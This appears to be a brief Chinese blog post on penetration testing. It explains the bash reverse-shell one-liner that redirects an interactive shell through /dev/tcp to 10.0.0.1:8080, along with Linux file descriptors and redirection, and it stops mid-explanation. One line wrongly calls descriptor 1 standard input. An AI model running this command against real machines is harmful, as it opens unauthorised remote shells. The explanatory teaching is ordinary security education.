linux几种方式来弹哥shell
渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i :打开一个交互的bash。
dev/tcp/是linux中的一个设备,打开文件相当于发出一个socket调用,建立socket连接。
打开这个文件相当于 在这个socket里面传输数据,
当然, 还有一个文件夹叫 /dev/udp/
在了解“>&”和“0>&1”,前,先了解一下linux文件描述符和重定向。
linux shell下常用的文件描述符是:
1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2. 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
先从 0>&1入手,简简单单的四个字符,但是想真正的搞清楚真的麻烦啊
有些资料里的解释说:2>&1是将标准错误输出合并到标准输出中
也就是说 2> == 标准错误输出
1 == 标准输入
那难道 &是合并的意思? &貌似也有 and的意思对吧。
其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。
http://blog.51cto.com/kusorz/2071052